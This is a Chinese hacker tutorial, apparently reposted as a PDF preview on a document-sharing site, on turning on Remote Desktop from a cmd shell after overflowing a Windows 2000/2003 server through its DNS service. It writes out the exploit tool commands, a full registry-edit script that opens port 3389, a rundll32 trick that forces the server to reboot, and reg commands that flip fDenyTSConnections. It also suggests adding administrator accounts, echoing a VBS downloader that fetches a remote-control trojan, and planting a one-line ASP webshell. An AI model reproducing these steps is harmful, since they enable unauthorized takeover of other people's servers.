《2022年CMD下开启远程桌面服务 .pdf》由会员分享,可在线阅读,更多相关《2022年CMD下开启远程桌面服务 .pdf(4页珍藏版)》请在taowenge.com淘文阁网|工程机械CAD图纸|机械工程制图|CAD装配图下载|SolidWorks_CaTia_CAD_UG_PROE_设计图分享下载上搜索。
1、CMD下开启远程桌面服务文章整理发布:黑客风云内容关注度: 24 更新时间: 2009-11-4 1:44:32 一、缘起近段时间微软出现的DNS溢出漏洞疯狂了一段时间,就是现在也还有许多服务器可以成功溢出。相信大家都有体验过溢出的经验了吧,嘿嘿。但是当我们溢出成功后,返回得到的就只有一个system 权限的cmdshell 。要是服务器开启了远程桌面服务,那我们直接加一个用户,再添加进管理员组,就可以登录服务器了。这样的话,拿下存在DNS溢出的服务器只是分秒间的事情。从溢出到得到服务器控制权花不了多少时间。不过,要是服务器本身没有开启远程桌面服务,就相对来说比较麻烦一点了。话虽如此,服务器本
2、身没开,那我们就帮它开嘛,嘿嘿。二、理论在只有一个cmdshell的情况下, 可能有不少菜菜不知道如何开启远程桌面服务。不过如果对远程桌面服务比较了解的话,应该知道开启它其实主要就是修改了注册表的某些键值来实现的。如何在cmdshell下修改注册表相关键值呢?根据系统的不同,方法也有些出入。Windows2000 的服务器开户远程桌面服务一般都需要重启一次才能生效,Windows2003 的服务器开启远程桌面服务就一般都不需要重启,直接更改注册表相关键值即可生效!据网上的资料来看,基本上都是先echo 一个 *.reg注册表文件,再使用regedit /s *.reg命令导入注册表文件即可,当
3、然2000 的话还需要重启才生效。三、实践理论总是理论,不实践过永远都只能是理论。所以我们找了些可以DNS溢出的服务器来做试验, 其中有 2000 系统的也有2003 系统的, 分别详细说明如何在cmdshell 下开启服务器的远程桌面服务。1、2000 系统简要说一下如何进行DNS溢出攻击。我用的溢出利用程序是dns.exe ,在 CMD 下运行它可以看到它的使用参数等信息。执行dns -s IP命令检测目标IP 是否存在DNS溢出漏洞。在图中我们可以看出目标主机存在DNS溢出漏洞,操作系统为Windows 2000! 接着我们进行溢出攻击,执行dns -t 2000all IP 1207后
4、提示要我们检测返回的1100 端口的shell 。telnet IP 1100成功得到返回的cmdshell 。注意目录为c:WINNTsystem32 ,顶部也明显可以看到Windows 2000 相关字样。接着我们需要做的是使用echo 命令写入一个3389.reg注册表文件。将如下代码一行一行地复制到cmdshell窗口后按回车执行: echo Windows Registry Editor Version 5.00 3389.reg echo. 3389.reg echo HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionn
5、etcache 3389.reg echo Enabled=0 3389.reg echo HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 1 页,共 4 页 - - - - - - - - - NTCurrentVersionWinlogon 3389.reg echo ShutdownWithoutLogon=0 3389.reg echo HKEY_LOCAL_MACHINESOFTWAREP
6、oliciesMicrosoftWindowsInstaller 3389.reg echo EnableAdminTSRemote=dword:00000001 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server 3389.reg echo TSEnabled=dword:00000001 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD 3389.reg echo Start=dword:00000
7、002 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermService 3389.reg echo Start=dword:00000002 3389.reg echo HKEY_USERS.DEFAULTKeyboard LayoutToggle 3389.reg echo Hotkey=1 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp 3389.reg echo Por
8、tNumber=dword:00000D3D 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp 3389.reg echo PortNumber=dword:00000D3D 3389.reg 简单说明一下, 符号是覆盖写入文件,如无此文件则创建,有则覆盖原来的内容写入。 是追加写入, 即在原有文件内容的基础上在后面写入内容。这里是写入内容到3389.reg文件中 !需要注意的是第二行, 那个作用是写入一行空格,至于为什么需要这样, 那是因为 .reg文
9、件的格式必须如此! 成功写入完毕后接着执行导入操作,执行regedit /s 3389.reg。这样注册表文件就已经顺利导入到注册表里去了。不过需要注意的是在cmdshell下不要输错任何一个字符, 否则将无法执行, 建议先自己打好在记事本上,确保无误之后再复制到cmdshell窗口执行。 然后需要做的事就是重启了,如何使目标服务器重启呢?和朋友多方测试后,觉得用下面这个方法比较妥当。在cmdshell下执行如下代码: ECHO OFF & cd/d %temp% & echo version out.inf (set inf=InstallHinfSection DefaultInstall
10、) echo signature=$chicago$ out.inf echo defaultinstall out.inf rundll32 setupapi,%inf% 1 %temp%out.inf 按顺序将以上五行代码一行一行地复制到cmdshell上,复制完一行按一次回车执行,五行都执行完毕后,服务器就会重启的了。至于原理什么的我就不废话了。当然了,让服务器重启的方法比较多,比如结束掉系统关键进程、代码模拟按键等都是可以的,不过个人认为上面推荐的这个方法比较保险! 如无意外,等待服务器完成重启之后再连接目标发现远程桌面服务已经成功开启了。至此Windows 2000 操作系统溢出后返
11、回的cmdshell下开启远程桌面服务就成功完成了。名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 2 页,共 4 页 - - - - - - - - - 2、2003 系统相对于2000 的系统来说,2003cmdshell下开启远程桌面服务就比较容易一些了,起码无 需 重启 嘛! 第一 种方 法也 是用 echo 命 令写 入一 个3389.reg文 件, 再 regedit /s 3389.reg 导入注册表文件即可开启,比较简单,与上面介绍的2000 的开启方法类似。将如下代
12、码一行一行地复制到cmdshell窗口后按回车执行: echo Windows Registry Editor Version 5.00 3389.reg echo. 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server 3389.reg echo fDenyTSConnections=dword:00000000 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstc
13、p 3389.reg echo PortNumber=dword:00000d3d 3389.reg echo HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp 3389.reg echo PortNumber=dword:00000d3d 3389.reg 完成以上操作后再执行regedit /s 3389.reg导入即可生效! 不过这个方法相对来说比较麻烦,也比较复杂一些。我们还可以用另外一种比较简单的方法来开启远程桌面服务的,嘿嘿。在介绍另一个操作方法之前,我们先来熟悉下20
14、03 系统下远程桌面服务的一个最关键的注册表键值。在 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server 下数值名称为 fDenyTSConnections的这一项,可以看到它的数值数据为1 或 0。数值为 1 的时候关闭远程桌面服务,数值为0 的时候开启远程桌面服务。换句话说,我们只要可以在cmdshell下更改这个关键的注册表键值数据就可以达到实现开启远程桌面服务的目的了! 有幸的是, 在 2003 下有一个 reg 命令完全可以做到这一点,嘿嘿。这里我们找一台操作系统为2003 的服务器,通过和上面介绍的同样方法
15、溢出后返回一个cmdshell 。当我们尝试连接的时候会发现根本无法连接上去。下面详细说明一下用reg 命令开启远程桌面服务。执行:reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server 我们发现 fDenyTSConnections键值数据为 0 x1 。这个是十六进制数的1。上面提到,数据为 1 则没有开启远程桌面服务。我们要做的就是把0 x1 改成 0 x0! 直接用 reg add是不行的,必须把原来键值删掉再添加! 在 cmdshell下执行:reg delete HKEY_LOCAL_MAC
16、HINESYSTEMCurrentControlSetControlTerminal Server /v fDenyTSConnections 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 3 页,共 4 页 - - - - - - - - - 会询问是否 要删除注册表值 fDenyTSConnections 吗 ,当然 Yes 了。再执行:reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server
17、 /v fDenyTSConnections /t REG_DWORD /d 0 提示操作成功完成,如图9。这样就把 fDenyTSConnections的值改为 0 x0 了,我们可以执行:reg query HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server 我们可以查看一下,看看是不是真的改掉了,发现已经成功更改了数据。现在再来连接服务器的3389 看看,发现已经可以成功连接上了,加个用户进去参观咯。至此2003 下cmdshell开启远程桌面服务的方法也介绍完了。四、其他当然了,溢出后也不一定要非要在cmdshell下开启远程桌面服务。可以echo 个 vbs 文件,下载远程控制木马,然后在cmdshell里运行一下木马,上线就OK了。还有就是可以查询一下目标IP 是否绑定有网站,然后找到网站目录,再用echo 个一句话木马进去( 命令是:echo WEB 路径 test.asp),然后提交大马呀,上传开3389 的工具再开启也行! 总之方法不只一个,能达到目的就是好方法。名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 4 页,共 4 页 - - - - - - - - -